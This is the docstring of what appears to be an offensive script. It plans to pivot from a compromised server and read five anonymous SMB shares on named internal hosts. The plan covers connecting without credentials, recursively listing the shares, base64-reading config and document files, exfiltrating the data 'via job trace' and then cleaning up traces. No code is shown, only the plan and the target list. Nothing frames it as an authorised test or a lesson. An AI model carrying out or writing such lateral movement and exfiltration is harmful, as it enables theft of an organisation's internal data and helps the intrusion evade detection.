r"""Read 5 anonymous SMB shares from STASRV25018 (pivot option a). Staged; --execute.

Targets (anonymous/domain-readable shares found in lateral recon):
  10.123.244.19\assets2, 10.123.244.20\MYB_Chargement, 10.123.244.21\Analytics_<guid>,
  10.123.244.22\MOOVPERSO, 10.123.244.28\ARCHIVE_PUBLIC_DG
Method: net use (no cred) + recursive dir listing + selective base64 read of small
text/config/doc files. READ-ONLY (no writes to shares). Exfil via job trace. Cleanup.
